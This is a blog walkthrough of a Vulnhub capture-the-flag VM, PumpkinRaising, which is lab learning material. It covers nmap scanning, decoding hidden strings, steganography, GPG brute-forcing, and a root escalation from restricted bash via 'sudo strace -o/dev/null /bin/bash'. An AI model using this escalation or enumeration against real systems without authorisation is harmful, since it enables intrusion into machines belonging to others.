[2] Mission-Pumpkin v1.0: PumpkinRaising — Walkthrough

This is a walkthrough for Part 2 of the Mission-Pumpkin Series by Jayanth. You may download the VM from this Vulnhub page.

End goal of this CTF task:

This level is all about identifying 4 pumpkin seeds (4 Flags — Seed ID’s) and gain access to root and capture final Flag.txt file.

Let’s start! This time, I’m writing the walkthrough as I am pwning the VM in parallel. Let’s see how it goes 😉

Just like the previous VM, we are greeted with a Welcome Screen and an IP address as soon as we start the VM. Note the IP:

PumpkinRaising VM Welcome Screen
PumpkinRaising VM Welcome Screen

And now the nmap. I’m always excited to run nmap 😁

Running nmap aggressive on all ports (note the highlighted parts):

root@kali:~# nmap -A -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-11 02:48 IST
Nmap scan report for
Host is up (0.00044s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 1a:de:2a:25:2c:cc:51:4b:7a:a0:e0:73:23:b9:3a:64 (DSA)
|   2048 f4:67:d3:d3:e5:24:c0:fc:c4:60:07:1c:1a:34:e9:54 (RSA)
|   256 10:ce:a1:ee:54:27:03:2d:a0:b1:dc:75:80:f2:db:8b (ECDSA)
|_  256 6c:9d:b1:8d:ab:1f:3a:7c:e9:ad:bd:db:d8:81:d7:87 (ED25519)
80/tcp open  http    Apache httpd
| http-robots.txt: 23 disallowed entries (15 shown)
| /includes/ /scripts/ /js/ /secrets/ /css/ /themes/ 
| /CHANGELOG.txt /underconstruction.html /info.php /hidden/note.txt 
| /INSTALL.mysql.txt /seeds/seed.txt.gpg /js/hidden.js /comment/reply/ 
|_http-server-header: Apache
|_http-title: Mission-Pumpkin
MAC Address: 08:00:27:DA:0B:C6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1   0.44 ms
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.84 seconds

Seems like only SSH and HTTP are running and that too, on their common ports. Cool! Let’s start hacking 😈

HTTP (port 80):

HTTP (Port 80) Welcome Screen on PumpkinRaising
HTTP (Port 80) Welcome Screen on PumpkinRaising

We have lots of possible information on this page 😯. Let’s check what’s under the hood and then add those details to our cred-list (whenever I pwn a machine, I maintain a list of credentials and other possible details in parallel).

Let’s check the page source by hitting Ctrl + U.

Page Source of the PumpkinRaising HTML Welcome Screen
Page Source of the PumpkinRaising HTML Welcome Screen

And we have an encoded text too. Let’s decode it and see:

root@kali:~# echo VGhpcyBpcyBqdXN0IHRvIHJlbWFpbmQgeW91IHRoYXQgaXQncyBMZXZlbCAyIG9mIE1pc3Npb24tUHVtcGtpbiEgOyk= | base64 -d
This is just to remaind you that it's Level 2 of Mission-Pumpkin! ;)

Whaaat 😮. Looks like the creator is trolling us. Nice work, Jayanth 😉

Moving on, we see that there’s a link to pumpkin2.html. Let’s view the source of that:

Page Source of pumpkin2.html

Hmm. There seems to be another encoded text here. This seems to be a Base32. A simple, but not-so-reliable way of differentiating between Base64 and Base32 is that Base32 usually consists of all-uppercase letters, unlike Base64 which has a mix of both uppercase and lowercase letters. Anyways, let’s decode it:

root@kali:~# echo F5ZWG4TJOB2HGL3TOB4S44DDMFYA==== | base32 -d

Cool! we got a link to a pcap file, which is a packet capture dump file. Let’s download and open it using Wireshark and see.


root@kali:~# wget
--2019-08-11 03:18:35--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 5056 (4.9K) [application/vnd.tcpdump.pcap]
Saving to: ‘spy.pcap’
spy.pcap                              100%[=======================================================================>]   4.94K  --.-KB/s    in 0s
2019-08-11 03:18:37 (368 MB/s) - ‘spy.pcap’ saved [5056/5056]

Opening it using Wireshark:

Opening spy.pcap using Wireshark

Umm… I don’t understand a thing. Let’s follow the TCP Stream and see:

Do it by right clicking on any of the packet and then Follow -> TCP Stream

How to Follow TCP Stream
How to Follow TCP Stream

And we get the following output:

The TCP Stream Output
The TCP Stream Output

Great! A netcat conversation. Start using secure netcat, Jack 😉

From the conversation, we got an ID 50609 and some more usernames. So:


Now we are done with this path that we took.

We still have some more data from the page source of pumpkin2.html. Let’s go back there again. I’m pasting the same image here again, so that you need not scroll back and forth 😊:

Page Source of pumpkin2.html
Page Source of pumpkin2.html

We have an user called morse. Add him to our list:


Hey! Did you notice that scroll bar on the right? What’s there down?

Bottom end of the Page Source of pumpkin2.html

😮 Is this what you call “hiding in plain sight”?

Cool. Looks like a hex encoded string. Let’s decode that now. I usually use CyberChef for that. And I got the following decoded text:

Yay! Appreciate your patience :)
All things are difficult before they become easy.
Acorn Pumpkin Seeds ID: 96454
Do, remember to inform Jack to plant all 4 seeds in the same order.

Yay! A seed! So the “ID” thing we got earlier was also a seed. Nice. So we now have 2 seeds. Those are:

50609 - Jack's
96454 - Acorn's

Also, note that they have to be planted in order. So I am noting down which seed is from whom.

I thinks that’s it in pumpkin2.html. Now there’s a link to another page called underconstruction.html. Let’s open that one:

underconstruction.html and its Page Source
underconstruction.html and its Page Source

Okies. Note that the images says

“Looking for seeds? I ate them all!”

Steganography, here we come 😈

But it doesn’t seem that the image embedded in this page has anything hidden in it. There seems to be another image called as jackolantern.gif (jackolantern dot GraphicsInterchangeFormat). Let’s see that.

root@kali:~# wget
--2019-08-11 04:10:54--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 270688 (264K) [image/gif]
Saving to: ‘jackolantern.gif’
jackolantern.gif                      100%[=======================================================================>] 264.34K  --.-KB/s    in 0.004s
2019-08-11 04:10:54 (72.5 MB/s) - ‘jackolantern.gif’ saved [270688/270688]

Yip, I was right. Now to unhide the data, we need stegosuite. Install it if you don’t have it already, by executing:

root@kali:~# apt install stegosuite -y

Note that I always use “-y” at the end of the install commands to say yes to all the questions it might ask in between. Who has got the time to answer all those questions 😜

After the installation is done, open stegosuite. Using stegosuite is pretty easy. It has its own GUI.

Password required for extracting data from the stegged file

But I got stuck 😢. What is the password for extracting the files?!?

I tried all the passwords we got so far and nothing seemed to work. So I’m pausing this for now and moving on to try something else.

And as I was thinking about what to do next, I remembered to check the robots.txt file. And voila! we have one. I should have started with this one 😒. Lesson learned!

This is the output of (note the highlighted parts):

root@kali:~# curl
# robots.txt
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
# This file will be ignored unless it is at the root of your host:
# Used:    http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/robotstxt.html
User-agent: *
Crawl-delay: 10
# CSS, JS, Images
# Directories
Disallow: /includes/
Disallow: /scripts/
Disallow: /js/
Disallow: /secrets/
Disallow: /css/
Disallow: /themes/
Allow: /images/*.gif
Allow: /images/*.jpg
# Files
Disallow: /CHANGELOG.txt
Disallow: /underconstruction.html
Disallow: /info.php
Disallow: /hidden/note.txt
Disallow: /INSTALL.mysql.txt
Disallow: /seeds/seed.txt.gpg
Disallow: /js/hidden.js
# Paths (clean URLs)
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /scripts/pcap
Disallow: /node/add/
Disallow: /security/gettips/
Disallow: /search/hidden/
Disallow: /user/addme/
Disallow: /user/donotopen/
Disallow: /user/
Disallow: /user/settings/

Man oh man!!! Soooo much free stuffs!!! I regret why I didn’t start with this in the first place *huge facepalm*. Let’s open each one and see what’s inside it:

root@kali:~# curl
Robert : C@43r0VqG2=
Mark : Qn@F5zMg4T
goblin : 79675-06172-65206-17765

Adding these to our cred-list:


Why is goblin’s password different 🤔?

Whatever, let’s see the next file —

root@kali:~# wget
--2019-08-11 04:32:02--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 578 [text/plain]
Saving to: ‘seed.txt.gpg’
seed.txt.gpg                          100%[=======================================================================>]     578  --.-KB/s    in 0s
2019-08-11 04:32:02 (41.3 MB/s) - ‘seed.txt.gpg’ saved [578/578]

Decrypting this guy was a headache! Finally found out that the password is SEEDWATERSUNLIGHT after a lot of brute-forcing.

root@kali:~# gpg seed.txt.gpg 
gpg: keybox '/root/.gnupg/pubring.kbx' created
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
gpg: AES256 encrypted data
gpg: encrypted with 1 passphrase
root@kali:~# ls -l
total 284
-rw-r--r-- 1 root root   1582 Aug 11 04:32  seed.txt
-rw-r--r-- 1 root root    578 Jun 17 07:56  seed.txt.gpg
root@kali:~# cat seed.txt

                              /              )
                _           __)_)__        .'`--`'.
                )_      .-'._'-'_.'-.    /  ^  ^  
             .'`---`'. .'.' /o'/o '.'.   /// /...-_..
            /  <> <>   : ._:  0  :_. :   '------'       _J_..-_
            |    A    |:   \/_///   : |     _/)_    .'`---`'.    ..-_
'...    ..    <_/>  / :  :/_//:  : /   .'`----`'./.'0 0  
           _?_._`"`_.'`'-:__:__:__:__:-'   /.'<   /> :   o    |..-_
        .'`---`'.``  _/(              /   |:,___A___,|' V===V  /
       /.'a . a  .'`---`'.        __(_(__ ' _____/ /'._____.'
       |:  ___   /.'/ /      .-'._'-'_.'-:.______.' _?_            ..-.
..-    '  _/   |:   ^    |  .'.' (o'/o) '.'.     .'`"""`'.-...-_
        '._____.'' 'vvv'  / / :_/_:  A  :__:    /   ^.^   
                  '.__.__.' | :   '=...='/   : |    `===`  /
         --                   :  :'.___.':  : /    `-------`
                    -.        '-:__:__:__:__:-'..
-.-- .. .--. .--. . . -.-.--
                                -.-- --- ..-
    .- .-. .
                        --- -.
                                                               - .... .
       .-. .. --. .... -
                     .--. .- - .... .-.-.- .-.-.- .-.-.-
                            -... .. --. -- .- -..- .--. ..- -- .--. -.- .. -.
... . . -.. ...
                 .. -.. ---...
                                    -.... ----. ..... ----- --...

What’s this now?!? 😕

A bunch of Pumpkins laughing at me.

But wait!


Decoding it with the help of CyberChef:


Phew! Another seed after a long time. *sigh of relief*

Adding it to our seed list:

50609 - Jack's
96454 - Acorn's
69507 - Big Max Pumpkin's

Now I just went back to the stegosuite and tried brute forcing with the passwords we have got till now. And Bingo! Mark’s password was the key to extraction!

Stego file extracted using Mark’s password
Stego file extracted using Mark’s password

Content of decorative.txt:

root@kali:~# cat decorative.txt 
Fantastic!!! looking forward for your presence in pumpkin party.
Lil' Pump-Ke-Mon Pumpkin seeds ID : 86568

Yippee! We got all the Seeds now! Our Seed list:

50609 - Jack's
96454 - Acorn's
69507 - Big Max Pumpkin's
86568 - Lil' Pump-Ke-Mon's

So this is the seed list after arranging them in order according to what the Welcome page said:

Big Max Pumpkin's -> Jack's -> Acorn's -> Lil' Pump-Ke-Mon's

SSH (port 22) 🏃:

Now we have the credential:


root@kali:~# ssh jack@
jack@'s password: 
                          Welcome to Mission-Pumpkin
      All remote connections to this machine are monitored and recorded
Last login: Tue Jun 18 21:04:28 2019 from

We are inside Pumpkin 😎. Let’s see what files are there inside:

jack@Pumpkin:~$ ls -l
-rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names


Looks like we are in a rbash (restricted bash) prompt. In a rbash, we are restricted to execute only some commands. Let’s see what they are:

jack@Pumpkin:~$ sudo -l
Matching Defaults entries for jack on Pumpkin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User jack may run the following commands on Pumpkin:
    (ALL) NOPASSWD: /usr/bin/strace

Ohh. Jack can run strace. I’m not sure what that does. So I Googled “rbash sudo strace” 😆. And the first result itself returned “Abusing SUDO (Linux Privilege Escalation)”. Great! I opened that link and found how to perform privelege escalation using strace in an rbash prompt:

jack@Pumpkin:~$ sudo strace -o/dev/null /bin/bash

😍 How relishing to see that “#” symbol.

And then looking for Flag.txt, found it in root’s home directory:

root@Pumpkin:~# cd /
root@Pumpkin:/# find . -iname Flag.txt
root@Pumpkin:/# cat ./root/flag.txt 
Jack will take care of planting your seeds. 
Hope to see you at Pumpkin Festival

🎊 💃 👯

Thanks for staying so far. A clap would encourage me to write more like this 🤗. Please mention your doubts, comments and suggestions below.

See you at the Pumpkin Festival 😃. Au reviour !!!

EDIT: You may find my walkthrough for pwning PumpkinFestival here.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s